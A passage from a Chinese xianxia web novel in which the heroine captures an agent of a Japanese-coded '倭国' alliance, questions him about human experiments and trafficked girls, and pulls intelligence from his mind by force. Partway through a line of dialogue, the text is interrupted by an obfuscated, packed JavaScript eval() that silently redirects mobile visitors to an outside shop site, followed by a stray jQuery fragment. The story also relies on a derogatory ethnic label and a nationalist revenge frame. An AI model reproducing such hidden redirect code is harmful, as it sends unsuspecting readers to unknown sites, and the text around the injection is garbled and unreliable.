花瓷低头看着手里的桃木剑,手指在剑身上停了停,把剑搁回膝头。
月光照在她脸上,血污干了半边。
她低头看了看自己的右手——还在抖,握不拢。她从储物袋里摸出聚灵丹的小玉瓶,牙咬开瓶塞,倒出一颗塞进嘴里。
丹药化了,一股凉劲儿从喉咙往下走,丹田里那团枯竭的灵力颤了颤。
不多,但够她喘口气。
她握了握拳,手不抖了。
向井毅还瘫在老槐树下,右臂焦黑,左腕碎裂。
他看见花瓷朝他走来,脖子往后缩,蹭着地面往后挪。
花瓷没理他,从储物袋里摸出一张困仙符拍在他后背上。
符纸拍上去,向井毅体内的灵力波动灭了。
他僵了一下,然后抖起来。
"你封我灵力——你还不如杀了我!"他的声音劈了叉,"佐藤会来找我的!霍不凡也不会放过你!还有我师父!他更不会饶过你!他是元婴后期,你现在放了我,我还能帮你说几句好话——"
花瓷动作一点都没停顿,他口中那个师傅,花瓷记得他的尊号天阴。倭国使盟的长老之一,靠硫光岛血祭无辜者性命,修为大涨的畜生,原书倭国占领天衍域后,霍不凡以妻子韩润彤被作为人质,他忍辱负重,看着倭国的残暴行为,如今韩润彤受尽折磨,身亡,他不再忍了,杀光倭人,引天下称赞。
而天阴的结局自然成了霍不凡的养料,成了他的脚踏石之一。
花瓷从储物袋里翻出一捆麻绳,往他身上缠,缠了几圈,打了个死扣。
绳子勒进他焦黑的右臂,他惨叫一声。花瓷没停,把绳子另一头攥手里,拽了拽。
她把桃木剑往半空一扔,剑横在那儿了。
她跳上去,右脚踩上剑身,膝盖晃了一下——右腿的伤还没好,肿着,吃不住力。
她咬着牙站稳,回头看了杜仲一眼。
"杜仲,帮我把他扔上来。"
杜仲弯腰,揪住向井毅后领,往剑身上一甩。向井毅脸朝下摔上去,磕到缺牙的牙龈,嗷了一声。
杜仲跟着跳上来,站在花瓷身后,一手攥绳子,一手握弓。
桃木剑离地而起,朝小塔山顶飞去。
向井毅趴在剑身上,风往嘴里灌,求饶的话断断续续。
“花瓷——花瓷姑娘——你放了我,我给你灵石,多少都行——我在倭国还有一处宅子——你要是嫌少,我可以写信给佐藤,他有钱——"
风把他的声音撕碎,花瓷没回头。
向井毅见求饶没用,换了说法。
"你抓了我没用!佐藤不会为了我付赎金的,你白费力气!我什么都不知道——我就是个跑腿的,你杀了我也没用!"
花瓷还是没理他。
向井毅的声音开始抖。
“你知不知道你在跟谁作对?倭国仙盟不是你能惹的,霍不凡也不是你能惹的。你今天放了我,账一笔勾销,你要是敢动我——你那个猎户朋友,你那个婆婆,你那个村子,我师父会把你们一个个找出来,一个一个——"
花瓷回头看了他一眼,向井毅把后面半截话咽了回去。
桃木剑越过山脊,石屋的轮廓出来了。院子里亮着油灯,黎婆婆坐在门口旧椅子上,握着那枚旧玉佩。
她听见风声,抬头,看见花瓷从剑上跳下来——满身是血,右肩的绷带被血浸透,左手的掌心还在往外渗血。
黎婆婆站起来,椅子往后滑了半尺,没去扶。
花瓷从剑上跳下来,膝盖一软,杜仲伸手扶了一把。花瓷站稳,松开他的手,走到黎婆婆面前。
"婆婆。"
黎婆婆看着她,没说话。伸出手,枯瘦的手指在花瓷右肩的绷带边缘按了一下,血从布条底下渗出来,染红了她的指尖。
"你不是还有一颗回魂丹吗。"黎婆婆的声音发颤,"快去吃了。"
花瓷摇头。"不了,留到生死关头再说。"
黎婆婆的手指在她肩膀上停了停,然后问:"你的修为,刚才在村口突然暴涨。那个功法,是不是有代价?"
花瓷没避讳。"用寿元。"
黎婆婆的手收紧,攥住花瓷的左肩,花瓷晃了一下。很快又松开,手指一根一根从花瓷肩上移开。
"我会修炼,会突破境界。"花瓷安慰,"寿元能补回来,婆婆不必担心。"
黎婆婆看了她很久,月光照在花瓷脸上,血污,疲色,眼睛却亮着。黎婆婆伸手摸了摸她的头,手从头顶滑到后脑勺,停了停,收回去。
"晚点来我房间。"
花瓷点头,黎婆婆转身回正屋,门在她身后合上了。
杜仲把向井毅从剑身上拽下来,拖进柴房。柴房不大,四壁堆着松木柴火,角落里几捆干草。
向井毅被扔在干草堆上,麻绳还捆着,困仙符还贴着。
杜仲把他绑在柱子上,检查了绳结,退到门口,抱着弓坐下。
花瓷推开柴房的门,在向井毅对面坐下。柴房里没点灯,月光从门缝漏进来,照在向井毅脸上。那张扁平的脸被树枝刮出好几道血口子,缺了两颗牙的嘴还在抖。
他抬起头,看着花瓷,语气诚恳,像是受了冤枉,和刚才判若两人。
"花瓷姑娘,你误会我们了,我们来天衍域,不是来杀人的。是来帮忙的——你们宗门割据,散修没出路,凡人被当成草芥,我们倭国有经验,是真心想帮你们。"
花瓷把桃木剑搁在膝头。"你讲。"
"我们倭国仙盟分三级,最上长老会,中间执事院,底下各地方堂口。外派天衍域的项目归执事院管,佐藤是项目执事,我负责地面执行。我们的模式在海外诸岛跑通了——琉光岛三年出了元婴后期,就是我师父天阴尊者。黑礁湾去年有人摸到化神门槛。这不是掠夺,是共赢。天衍域有资源,我们有经验,合在一起才能突破飞升的瓶颈。"
"那一百个人的赌约呢。"
向井毅脸色僵了一下。"那是玩笑话。我跟佐藤打赌,说的是在天衍域帮助一百个人,册子上画的横线是记录我们帮过的人,你当时离得远,听岔了。"
"你们在村口拔刀,把杜仲按在地上,拿刀架他脖子,这叫帮人?"
"那是误会。"向井毅叹气,"段衍的人先动手。我当时就说了别动那个猎户,段衍不听。刀架脖子是吓唬你的,不是真砍。我要真想杀他,用得着废话那么久?"
"那个册子呢。"
"还没来得及帮,就被你打了。"
"你们倭国有个松本药师阁。"花瓷说,"专做活体实验,把无辜百姓绑在石台上,切开经脉,往里面灌毒药,看哪一种死得最慢。实验记录用编号归档,不用名字。"
向井毅的脸色变了。嘴唇发白,一直白到耳根。"你怎么——"
他脱口而出三个字,猛地咬住舌头。柴房里静了片刻。他再开口时,语气不是诚恳了,是被逼到墙角之后硬撑出来的严肃。
"花瓷姑娘,我不知道你从哪儿听来的这些,你这是污蔑。我们倭国使盟在天衍域的计划,是建学堂、开医院、办工厂。把倭国的修炼法门无偿传授给散修,让凡人看得起病、吃得上饭。松本药师阁是我们最重要的医学研究机构,不是活体实验室。你说的那些——切开经脉、灌毒药——那是邪修干的,和我们倭国使
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906527|213026||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
盟没有任何关系。"
"那三百个纯阴体质的少女呢?也是建学堂?"
向井毅的喉咙动了动。"那是为了给她们提供更好的修炼环境,纯阴体质在你们天衍域处处被人觊觎,我们倭国有专门的女子学院——"
花瓷没再问,她看着他,这种人她见过。上辈子在历史课本里,这辈子在郝家屯的骨堆旁。
他说的每一句话都经不起推敲,但他能一直说下去。他不是要说服她,他是在说服自己,他不会醒的,她也没打算叫醒他。
"你知道儒家的礼吗。"花瓷继续盯着他,眼里有火在燃烧。
向井毅愣了一下,一时不知道该如何回答。
"礼不只是鞠躬,礼是恻隐之心,看见别人受苦,心里不舒服,这叫仁。推己及人,自己不想要的,不往别人身上搁,这叫恕。你们学了几百年,进门脱鞋,出门鞠躬,学得很像。但己所不欲勿施于人,这一条你们没学到。自己不想被人杀,跑到天衍域来杀别人。自己不想被人奴役,把天衍域的凡人往矿场里塞。自己不想被人当成货物,把天衍域的女人编号入册往船上送。小礼做得再足,大节是空的。"
她一边说,一边抬起手,手掌覆在向井毅的头顶,向井毅想躲,被她五指扣住。
她不准备杀他,但她要他付出代价。
一股灵力从她掌心渗入他的头皮,极细极慢,避开那些储存记忆的褶皱和沟回,往更深处的空白地带走。
向井毅浑身发抖,喉咙里发出含混的声音。他控制不住自己的舌头——他不知道自己说了什么,也不记得自己说过什么。
"你是来帮忙的,对不对。那就帮到底,把你知道的都说出来。"
"三号码头……佐藤健一郎……寒云山……三百……苏家河……九月初三……霍不凡……抽三成……梅思平……张秉丞……海东青……松本药师阁……"
碎片一个接一个往外倒,说到最后声音越来越小,变成低低的嘟囔。嘴角挂着涎水,瞳孔灰了。
花瓷收回手,站起来。她看着瘫在柱子上的向井毅,没什么感觉。
他记得佐藤喜欢喝什么茶,记不住那些被他押上船的女孩长什么样,记得码头换防的时间,记不住刀下那个猎户有个刚死不久的弟弟。
细节记得清楚,唯独记不住自己做了什么。她不需要再听他说话,也不需要再看那张诚恳的脸。她只需要他的情报,他会给的。
花瓷推开柴房的门,杜仲靠在门口,手里握着弓。
"他一会儿说的,你帮我记下来。"
杜仲点头。
花瓷看了一眼他脖子上渗血的绷带。"脖子上的伤,让婆婆再看一眼。"
"擦破皮。"
"再深半寸就不是擦破皮了。"
杜仲把弓换到左手,右手在裤子上蹭了蹭。"你呢。"
"死不了。"
"你的手在抖。"
花瓷低头看了一眼自己的右手。"聚灵丹吃晚了,灵力抽空的后劲。"她把手揣进袖子里,"不碍事。"
杜仲看着她,停了停,把弓靠在门框上,从怀里掏出两个小瓷瓶。"白的内服,青的外敷,婆婆给的。"他把两个瓶子一起递过去。
花瓷没接。"放你那儿。"
杜仲举着瓶子,没动。
"接下来还有很多事要做。"花瓷劝说,"你拿着。"
杜仲低头看了看手里的瓷瓶,嘴角扯了一下,把瓷瓶揣回怀里。
"好。"
花瓷看着他,伸手拍了拍他的肩膀。
"往后,辛苦你了。"
杜仲抬起头,花瓷已经把手收回去了。